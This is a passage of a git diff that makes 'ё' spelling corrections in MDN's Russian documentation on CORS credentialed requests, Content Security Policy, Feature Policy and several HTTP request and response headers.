обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.</p> -<h3 id="Запросы_с_учетными_данными">Запросы с учетными данными</h3> +<h3 id="Запросы_с_учётными_данными">Запросы с учётными данными</h3> -<p>Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a> и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> вызовах, браузеры <strong>не </strong>отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.</p> +<p>Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a> и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> вызовах, браузеры <strong>не </strong>отправляют учётные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.</p> <p>В этом примере контент, изначально загруженный из <code class="plain">http://foo.example,</code> выполняет простой GET запрос к ресурсу <code class="plain">http://bar.other,</code> который устанавливает файлы cookie. Содержимое на foo.example может содержать такой JavaScript:</p> @@ -346,7 +346,7 @@ function callOtherDomain(){ } }</pre> -<p>В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение <code>withCredentials</code>. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос <code>GET,</code> он не является предварительным, но браузер <strong>отклоняет</strong> любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, и <strong>не</strong> создает ответ, доступный для вызова веб-контента.</p> +<p>В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение <code>withCredentials</code>. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос <code>GET,</code> он не является предварительным, но браузер <strong>отклоняет</strong> любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, и <strong>не</strong> создаёт ответ, доступный для вызова веб-контента.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> @@ -387,9 +387,9 @@ Content-Type: text/plain <p>Также в строке 11 содержится Cookie, предназначенный для контента ресурса <code class="plain">http://bar.other</code>. В случае если <code class="plain">http://bar.other</code> не ответит полем {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (строка 19), то ответ от сервера будет проигнорирован и не станет доступным для веб-контента.</p> -<h4 id="Запросы_с_учетными_данными_и_wildcards">Запросы с учетными данными и wildcards</h4> +<h4 id="Запросы_с_учётными_данными_и_wildcards">Запросы с учётными данными и wildcards</h4> -<p>В процессе ответа на запрос с учетными данными сервер <strong>обязан</strong> указать точный источник в поле заголовка <code>Access-Control-Allow-Origin</code> вместо спецсимвола "<code>*</code>".</p> +<p>В процессе ответа на запрос с учётными данными сервер <strong>обязан</strong> указать точный источник в поле заголовка <code>Access-Control-Allow-Origin</code> вместо спецсимвола "<code>*</code>".</p> <p>Из-за того что заголовки запроса в примере выше включают заголовок <code>Cookie</code>, запрос провалился бы, если бы значение заголовка <code>Control-Allow-Origin</code> было "*". Но он не провалился: потому что значение заголовка <code>Access-Control-Allow-Origin</code> - "<code class="plain">http://foo.example</code>" (действительный источник), а не спецсимвол "<code>*</code>", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.</p> @@ -397,7 +397,7 @@ Content-Type: text/plain <h2 id="Заголовки_HTTP_ответов">Заголовки HTTP ответов</h2> -<p>Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.</p> +<p>Эта секция содержит список заголовков HTTP ответов, которые сервер шлёт в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.</p> <h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> @@ -406,7 +406,7 @@ Content-Type: text/plain <pre class="brush: none notranslate">Access-Control-Allow-Origin: <origin> | * </pre> -<p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p> +<p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учётных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p> <p>Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:</p> diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html index 66c9f059bc..f1c128ab7f 100644 --- a/files/ru/web/http/csp/index.html +++ b/files/ru/web/http/csp/index.html @@ -8,9 +8,9 @@ translation_of: Web/HTTP/CSP --- <div>{{HTTPSidebar}}</div> -<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.</p> +<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определённые типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.</p> -<p>CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться <a href="https://www.w3.org/TR/CSP2">здесь</a>, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">правила ограничения домена</a>.</p> +<p>CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться <a href="https://www.w3.org/TR/CSP2">здесь</a>, в пункте 1.1). Браузеры, которые не поддерживают CSP, все ещё могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут её игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">правила ограничения домена</a>.</p> <p>Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка <code>X-Content-Security-Policy</code>. Он является устаревшим и определять его не нужно).</p> @@ -22,13 +22,13 @@ translation_of: Web/HTTP/CSP <p>Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.</p> -<p>CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).</p> +<p>CSP даёт возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешённых источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).</p> <p>В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.</p> <h3 id="Пакетный_сниффинг">Пакетный сниффинг</h3> -<p>В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">кук с помощью специального флага</a>, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу<strong>.</strong></p> +<p>В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершённая стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">кук с помощью специального флага</a>, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищённому каналу<strong>.</strong></p> <h2 id="Использование_CSP">Использование CSP</h2> @@ -48,7 +48,7 @@ translation_of: Web/HTTP/CSP <h2 id="Примеры_Распространённые_случаи_применения">Примеры: Распространённые случаи применения</h2> -<p>В данном разделе приводятся наиболее распространенные сценарии использования CSP.</p> +<p>В данном разделе приводятся наиболее распространённые сценарии использования CSP.</p> <h3 id="Пример_1">Пример 1</h3> @@ -78,7 +78,7 @@ translation_of: Web/HTTP/CSP <h3 id="Пример_4">Пример 4</h3> -<p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет обрабатывать запросы:</p> +<p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идёт по SSL и атакующий не сможет обрабатывать запросы:</p> <pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> @@ -94,29 +94,29 @@ translation_of: Web/HTTP/CSP <h2 id="Тестирование_настройки_политики">Тестирование настройки политики</h2> -<p>Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.</p> +<p>Для облегчения развёртывания можно настроить развёртывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.</p> <p>Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:</p> <pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre> -<p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчеты, но применены не будут.</p> +<p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчёты, но применены не будут.</p> -<h2 id="Настройка_отправки_отчетов">Настройка отправки отчетов</h2> +<h2 id="Настройка_отправки_отчётов">Настройка отправки отчётов</h2> -<p>По умолчанию, отправка отчетов не производится. Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:</p> +<p>По умолчанию, отправка отчётов не производится. Для того чтобы включить отправку отчётов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчёты:</p> <pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> -<p>Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.</p> +<p>Кроме того, необходимо настроить свой сервер на получение этих отчётов; вы можете хранить и обрабатывать эти отчёты как считаете нужным.</p> -<h2 id="Синтаксис_отчета_о_происшествиях">Синтаксис отчета о происшествиях</h2> +<h2 id="Синтаксис_отчёта_о_происшествиях">Синтаксис отчёта о происшествиях</h2> -<p>Объект отчета в формате JSON содержит следующие поля:</p> +<p>Объект отчёта в формате JSON содержит следующие поля:</p> <dl> <dt><code>blocked-uri</code></dt> - <dd>URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.</dd> + <dd>URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращён до схемы, хоста и порта.</dd> </dl> <dl> @@ -129,7 +129,7 @@ translation_of: Web/HTTP/CSP <dt><code>original-policy</code></dt> <dd>Исходная политика, описываемая в заголовке <code>Content-Security-Policy</code>.</dd> <dt><code>referrer</code></dt> - <dd>Реферер, который привел к нарушению.</dd> + <dd>Реферер, который привёл к нарушению.</dd> <dt><code>script-sample</code></dt> <dd>Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.</dd> <dt><code>status-code</code></dt> @@ -138,7 +138,7 @@ translation_of: Web/HTTP/CSP <dd>Директива, которая была нарушена.</dd> </dl> -<h2 id="Пример_отчета_о_происшествии">Пример отчета о происшествии</h2> +<h2 id="Пример_отчёта_о_происшествии">Пример отчёта о происшествии</h2> <div>Возьмём страницу, расположенную по адресу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с <code>cdn.example.com</code>.</div> @@ -171,7 +171,7 @@ translation_of: Web/HTTP/CSP } }</pre> -<p>Как видите, отчёт включает полный путь к ресурсу нарушающему политику в <code>blocked-uri</code>. Правда, это не всегда так. К примеру, когда <code>signup.html</code> попытается загрузить CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, браузер <em>не </em>будет включать полный путь, а ограничится лишь доменом (<code>http://anothercdn.example.com</code>). Спецификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняет</a> это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах</p> +<p>Как видите, отчёт включает полный путь к ресурсу нарушающему политику в <code>blocked-uri</code>. Правда, это не всегда так. К примеру, когда <code>signup.html</code> попытается загрузить CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, браузер <em>не </em>будет включать полный путь, а ограничится лишь доменом (<code>http://anothercdn.example.com</code>). Спецификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняет</a> это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрёстных ресурсах</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> @@ -179,7 +179,7 @@ translation_of: Web/HTTP/CSP <p>{{Compat("http.headers.csp")}}</p> -<p>Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.</p> +<p>Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнёт блокировать и создавать ложно-положительные отчёты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.</p> <p>Смотрите также:</p> diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html index 972b15c168..ae3955ed1c 100644 --- a/files/ru/web/http/feature_policy/index.html +++ b/files/ru/web/http/feature_policy/index.html @@ -5,13 +5,13 @@ translation_of: Web/HTTP/Feature_Policy --- <div>{{SeeCompatTable}}{{HTTPSidebar}}</div> -<p class="summary"><span class="seoSummary">Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.</span></p> +<p class="summary"><span class="seoSummary">Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определённых функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.</span></p> <h2 id="Краткое_описание">Краткое описание</h2> <p>Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим веб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.</p> -<p>С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.</p> +<p>С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определённые функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определённых функций.</p> <p>Примеры того, что можно сделать с заголовком Feature Policy:</p> diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html index b2dc5d8792..b75ef11712 100644 --- a/files/ru/web/http/feature_policy/using_feature_policy/index.html +++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html @@ -9,13 +9,13 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy <div></div> -<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a> позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.</p> +<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a> позволяет разработчику контролировать доступ страницам сайта к определённой веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определённую функциональность списку разрешённых источников. Каждая функция, контролируемая функциональной политикой, активируется в определённом документе или фрейме, если его источник происхождения входит в разрешённый список источников.</p> -<p>Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. </p> +<p>Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешённых источников по умолчанию. Этот список специфичен для каждой функциональности. </p> <h2 id="Описание_политики">Описание политики</h2> -<p>Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.</p> +<p>Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имён определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.</p> <h3 id="список_доступа">список доступа</h3> @@ -54,7 +54,7 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy <p>Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.</p> -<pre class="brush: bash">Feature-Policy: <имя функциональности> <список разрешенных источников></pre> +<pre class="brush: bash">Feature-Policy: <имя функциональности> <список разрешённых источников></pre> <p>К примеру, для блокировки функциональности API геолокации по всему сайту:</p> diff --git a/files/ru/web/http/headers/accept-charset/index.html b/files/ru/web/http/headers/accept-charset/index.html index a8008ec1b8..75bf389f93 100644 --- a/files/ru/web/http/headers/accept-charset/index.html +++ b/files/ru/web/http/headers/accept-charset/index.html @@ -6,12 +6,12 @@ original_slug: Web/HTTP/Заголовки/Accept-Charset --- <div>{{HTTPSidebar}}</div> -<p>Заголовок <strong><code>Accept-Charset</code></strong> запроса HTTP сообщает какую кодировку клиент может понять. Используя <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный и передача его позволит с большей легкостью получить цифровой отпечаток.</p> +<p>Заголовок <strong><code>Accept-Charset</code></strong> запроса HTTP сообщает какую кодировку клиент может понять. Используя <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своём выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный и передача его позволит с большей лёгкостью получить цифровой отпечаток.</p> <p>Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка <code>Accept-Charset</code>.</p> <div class="note"> -<p>В более ранних версиях HTTP/1.1, кодировка по умолчанию (<code>ISO-8859-1</code>) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.</p> +<p>В более ранних версиях HTTP/1.1, кодировка по умолчанию (<code>ISO-8859-1</code>) была определена. Теперь это не так и каждый контентый тип может иметь своё собственное дефолтное значение.</p> </div> <table class="properties"> diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html index 8cce5856b6..feddf885d0 100644 --- a/files/ru/web/http/headers/accept-language/index.html +++ b/files/ru/web/http/headers/accept-language/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Language --- <div>{{HTTPSidebar}}</div> -<div>{{Glossary("HTTP-заголовок")}} Запрос <strong><code>Accept-Language</code></strong> сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка <strong><code>Accept-Language</code></strong>, это происходит редко (и не одобряется, так как ведет.к идентификации).</div> +<div>{{Glossary("HTTP-заголовок")}} Запрос <strong><code>Accept-Language</code></strong> сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своём выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка <strong><code>Accept-Language</code></strong>, это происходит редко (и не одобряется, так как ведёт.к идентификации).</div> <div></div> @@ -44,11 +44,11 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> <dl> <dt><code><language></code></dt> - <dd>Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать дополнительные под-теги, разделенные <code>'-'</code>. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, <code>'en-US'</code> или <code>'fr-CA'</code>) или тип алфавита, который следует использовать (например, <code>'sr-Latn'</code>). Другие варианты, такие как тип орфографии (<code>'de-DE-1996'</code>) обычно не используются в контексте данного заголовка.</dd> + <dd>Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать дополнительные под-теги, разделённые <code>'-'</code>. Наиболее распространённой дополнительной информацией являются указания на страну или регион (например, <code>'en-US'</code> или <code>'fr-CA'</code>) или тип алфавита, который следует использовать (например, <code>'sr-Latn'</code>). Другие варианты, такие как тип орфографии (<code>'de-DE-1996'</code>) обычно не используются в контексте данного заголовка.</dd> <dt><code>*</code></dt> <dd>Любой язык; <code>'*'</code> обозначает любое значение.</dd> <dt><code>;q=</code> (q-factor weighting)</dt> - <dd>Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют <em>весами</em>.</dd> + <dd>Любое из значений, размещённых в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют <em>весами</em>.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html index 5cacf1026f..17bc2ae125 100644 --- a/files/ru/web/http/headers/accept-patch/index.html +++ b/files/ru/web/http/headers/accept-patch/index.html @@ -29,7 +29,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Patch <td>{{Glossary("Response header", "Заголовок ответа")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>да</td> </tr> </tbody> diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html index ba2539d420..832d095b09 100644 --- a/files/ru/web/http/headers/accept/index.html +++ b/files/ru/web/http/headers/accept/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Accept --- <div>{{HTTPSidebar}}</div> -<p>HTTP заголовок запроса <strong><code>Accept</code></strong> указывает, какие типы контента, выраженные как <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типы</a>, клиент может понять. Используя <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.</p> +<p>HTTP заголовок запроса <strong><code>Accept</code></strong> указывает, какие типы контента, выраженные как <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типы</a>, клиент может понять. Используя <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер затем выбирает одно из предложений, использует его и информирует клиента о своём выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задаётся другое значение, чем при получении изображения, видео или скрипта.</p> <table class="properties"> <tbody> @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Заголовки/Accept <td>{{Glossary("Request header")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> <tr> diff --git a/files/ru/web/http/headers/access-control-allow-headers/index.html b/files/ru/web/http/headers/access-control-allow-headers/index.html index d405260c68..bc9e7641c2 100644 --- a/files/ru/web/http/headers/access-control-allow-headers/index.html +++ b/files/ru/web/http/headers/access-control-allow-headers/index.html @@ -39,7 +39,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers <dl> <dt><header-name></dt> - <dd>Список поддерживаемых заголовков разделенных запятыми.</dd> + <dd>Список поддерживаемых заголовков разделённых запятыми.</dd> </dl> <h2 id="Пример">Пример</h2> @@ -74,7 +74,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers <h2 id="Заметки_по_совместимости">Заметки по совместимости</h2> <ul> - <li>Подстановочное значение (*), указанное в последней спецификации, еще не реализовано в браузерах: + <li>Подстановочное значение (*), указанное в последней спецификации, ещё не реализовано в браузерах: <ul> <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> <li>Firefox: {{bug(1309358)}}</li> diff 